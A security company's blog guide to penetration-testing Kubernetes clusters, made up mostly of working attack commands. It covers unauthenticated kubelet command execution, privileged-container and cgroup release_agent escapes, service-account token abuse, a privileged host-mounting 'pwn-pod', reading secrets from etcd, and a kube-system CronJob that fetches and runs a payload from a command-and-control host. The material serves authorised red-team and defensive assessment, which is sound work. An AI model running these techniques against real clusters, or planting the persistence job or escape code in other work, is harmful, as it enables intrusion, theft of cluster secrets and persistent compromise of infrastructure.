Date
March 7, 2026
Author
Karan Patel
,
CEO

Kubernetes has become the backbone of modern cloud-native infrastructure. With its rapid adoption comes an equally rapid expansion of the attack surface. Misconfigured RBAC policies, exposed API servers, privileged containers, and insecure service accounts are just a few of the vulnerabilities that make Kubernetes clusters a high-value target for attackers.

This guide walks through a professional Kubernetes penetration testing methodology, complete with real-world tools and commands used by offensive security practitioners. Whether you are a security engineer validating your cluster's defenses or a red teamer engaged in a cloud security assessment, this guide covers the techniques that matter.

If you are looking for structured, hands-on training in Kubernetes and cloud security, Redfox Cybersecurity Academy offers purpose-built courses for offensive security professionals at every level.

Understanding the Kubernetes Attack Surface

Before running a single command, it is essential to map the attack surface. Kubernetes exposes multiple entry points that are commonly overlooked in production environments:

  • The Kubernetes API server (default port 6443 or 8443)
  • The kubelet API (port 10250)
  • etcd (port 2379)
  • The Kubernetes dashboard
  • Cloud provider metadata APIs accessible from within pods
  • Exposed service accounts and RBAC misconfigurations

A thorough penetration test must cover all of these layers systematically.

Phase 1: Reconnaissance and Enumeration

Discovering the Kubernetes API Server

Start by identifying whether the API server is exposed and whether it accepts unauthenticated requests.

curl -k https://<TARGET_IP>:6443/version
curl -k https://<TARGET_IP>:6443/api/v1/namespaces
curl -k https://<TARGET_IP>:6443/api/v1/pods

[cta]

If the API server responds without authentication, you have an anonymous access misconfiguration, which is a critical severity finding.

Enumerating with kubectl

If you have obtained credentials or a kubeconfig file during initial access, use kubectl to enumerate the environment:

kubectl --kubeconfig=stolen.conf get nodes
kubectl --kubeconfig=stolen.conf get pods --all-namespaces
kubectl --kubeconfig=stolen.conf get secrets --all-namespaces
kubectl --kubeconfig=stolen.conf get serviceaccounts --all-namespaces
kubectl --kubeconfig=stolen.conf auth can-i --list

[cta]

The auth can-i --list command is particularly useful to map what privileges are attached to the compromised credential set.

Using Kube-Hunter for Automated Enumeration

kube-hunter from Aqua Security performs passive and active enumeration of a Kubernetes cluster:

pip3 install kube-hunter
kube-hunter --remote <TARGET_IP>
kube-hunter --pod  # Run from within a compromised pod

[cta]

Running kube-hunter from within a pod simulates an attacker who has achieved initial access via a compromised workload, which is a common real-world scenario.

Phase 2: RBAC and Permission Analysis

Enumerating RBAC Misconfigurations with rakkess

rakkess is a purpose-built tool for visualizing Kubernetes access rights:

kubectl krew install access-matrix
kubectl access-matrix
kubectl access-matrix --sa default -n default

[cta]

Look specifically for overpermissive ClusterRoles, wildcard resource permissions (*), and the cluster-admin role bound to service accounts or groups.

Manual RBAC Review

kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
kubectl get rolebindings --all-namespaces -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, role: .roleRef.name, subjects: .subjects}'

[cta]

Any service account bound to cluster-admin should be treated as a critical finding and immediately escalated in your report.

Phase 3: Attacking the Kubelet API

The kubelet runs on every node and exposes an API on port 10250. When anonymous authentication is enabled, this becomes a direct path to code execution on the node.

Checking for Anonymous Kubelet Access

curl -sk https://<NODE_IP>:10250/pods | jq .
curl -sk https://<NODE_IP>:10250/runningpods/ | jq .

[cta]

Executing Commands via Kubelet

If anonymous access is confirmed, you can run arbitrary commands inside any pod on that node:

curl -sk https://<NODE_IP>:10250/run/<namespace>/<pod-name>/<container-name> \
 -d "cmd=id"

curl -sk https://<NODE_IP>:10250/run/kube-system/coredns-<hash>/coredns \
 -d "cmd=cat /etc/resolv.conf"

[cta]

This technique bypasses kubectl entirely and is effective when API server credentials are unavailable but the kubelet port is reachable on the network.

The team at Redfox Cybersecurity regularly identifies exposed kubelet APIs during cloud infrastructure red team engagements. This single misconfiguration can result in full node-level compromise.

Phase 4: Container Escape Techniques

Privileged Container Escape

When you have a shell inside a privileged container, escaping to the host is straightforward using the nsenter approach or by mounting the host filesystem:

# Check if the container is privileged
cat /proc/1/status | grep CapEff
# If CapEff is ffffffffffffffff, you are in a privileged container

# Mount the host filesystem
mkdir /mnt/hostfs
mount /dev/sda1 /mnt/hostfs
chroot /mnt/hostfs bash

# Alternative: use nsenter to enter host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

[cta]

Abusing hostPath Volume Mounts

Some pods mount sensitive host directories via hostPath. During enumeration, look for these in pod specs:

kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, ns: .metadata.namespace, volumes: .spec.volumes}'

[cta]

If /etc or /var/lib/kubelet is mounted into the pod, you can read node-level credentials and certificates directly.

Exploiting Dangerous Capabilities

Containers running with SYS_ADMIN, SYS_PTRACE, or NET_ADMIN capabilities are vulnerable to various escape techniques:

# Using SYS_ADMIN for cgroup-based escape
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

[cta]

This technique abuses cgroup release agents to execute a command in the host's context. It is documented in CVE-2022-0492 and remains relevant in unpatched environments.

Phase 5: Service Account Token Abuse

Every pod in Kubernetes is automatically assigned a service account, and its token is mounted at /var/run/secrets/kubernetes.io/serviceaccount/token by default.

Extracting and Using the Service Account Token

# From inside a pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc

curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets

[cta]

If the default service account has been granted elevated RBAC permissions, this token can be used to pivot across the cluster, enumerate secrets from all namespaces, or even create new privileged pods.

Creating a Privileged Pod for Node Escape

If the compromised service account has pod creation rights, you can schedule a privileged pod that mounts the host filesystem:

apiVersion: v1
kind: Pod
metadata:
 name: pwn-pod
 namespace: default
spec:
 hostPID: true
 hostIPC: true
 hostNetwork: true
 containers:
 - name: pwn
   image: ubuntu
   securityContext:
     privileged: true
   volumeMounts:
   - mountPath: /host
     name: host-vol
   command: ["/bin/bash", "-c", "sleep 3600"]
 volumes:
 - name: host-vol
   hostPath:
     path: /

[cta]

Apply it with:

curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
 -H "Content-Type: application/yaml" \
 --data-binary @pwn-pod.yaml \
 $APISERVER/api/v1/namespaces/default/pods

[cta]

Once the pod is running, exec into it and interact with the host filesystem via /host.

Professionals at Redfox Cybersecurity use this exact technique during Kubernetes red team operations to demonstrate the real-world impact of RBAC misconfigurations to client stakeholders.

Phase 6: Attacking etcd

etcd stores all cluster state, including secrets. If port 2379 is reachable and lacks mutual TLS, it is game over for the cluster.

Reading etcd Directly

etcdctl --endpoints=https://<ETCD_IP>:2379 \
 --cacert=/etc/kubernetes/pki/etcd/ca.crt \
 --cert=/etc/kubernetes/pki/etcd/server.crt \
 --key=/etc/kubernetes/pki/etcd/server.key \
 get / --prefix --keys-only

etcdctl --endpoints=https://<ETCD_IP>:2379 \
 --cacert=/etc/kubernetes/pki/etcd/ca.crt \
 --cert=/etc/kubernetes/pki/etcd/server.crt \
 --key=/etc/kubernetes/pki/etcd/server.key \
 get /registry/secrets/default/my-secret

[cta]

Secrets stored in etcd without encryption at rest are readable as base64-encoded plaintext. This is one of the most critical findings you can report from a Kubernetes assessment.

Phase 7: Lateral Movement and Persistence

Kubernetes Persistence via CronJob

apiVersion: batch/v1
kind: CronJob
metadata:
 name: persist
 namespace: kube-system
spec:
 schedule: "*/5 * * * *"
 jobTemplate:
   spec:
     template:
       spec:
         hostNetwork: true
         hostPID: true
         containers:
         - name: c2
           image: alpine
           command: ["/bin/sh", "-c", "wget -qO- http://<C2_IP>/payload | sh"]
           securityContext:
             privileged: true
         restartPolicy: OnFailure

[cta]

Placing a malicious CronJob in kube-system ensures persistence even if other artifacts are cleaned up, and the namespace is often monitored less closely than application namespaces.

Abusing Admission Controllers and Webhooks

Malicious mutating admission webhooks can intercept and modify every pod creation request in the cluster:

kubectl get mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations
kubectl describe mutatingwebhookconfigurations <webhook-name>

[cta]

Check whether any registered webhooks point to external or unexpected endpoints. This can be a sign of a prior compromise or a misconfiguration that could be abused for persistent code injection into every pod scheduled on the cluster.

Tooling Summary

ToolPurposekube-hunterAutomated cluster enumeration and vulnerability scanningrakkess / kubectl-access-matrixRBAC permission visualizationetcdctlDirect etcd interrogationkubectlNative API interaction and resource enumerationcrictlContainer runtime interrogation on nodesTrivyImage and cluster misconfiguration scanningFalcoRuntime threat detection (useful for blue team validation)

For a comprehensive curriculum covering all of these tools with practical lab environments, Redfox Cybersecurity Academy provides hands-on cybersecurity courses aligned with real-world offensive techniques.

Key Takeaways

Kubernetes penetration testing is not a single-step process. It demands a methodical approach that spans the API server, kubelet, etcd, container runtime, RBAC policies, service accounts, and network boundaries. Each layer can independently yield critical findings, and the combination of multiple medium-severity issues can often result in full cluster compromise.

The most impactful findings consistently come from the same places: anonymous API or kubelet access, wildcard RBAC permissions bound to default service accounts, privileged containers without admission controls, and etcd lacking encryption at rest or mutual TLS.

Kubernetes security is a specialization that requires both offensive intuition and deep platform knowledge. If you want to build or validate those skills in a structured environment, Redfox Cybersecurity Academy offers the training you need. For organizations seeking an expert-led Kubernetes security assessment, the team at Redfox Cybersecurity delivers comprehensive red team engagements tailored to cloud-native environments.

Copy Code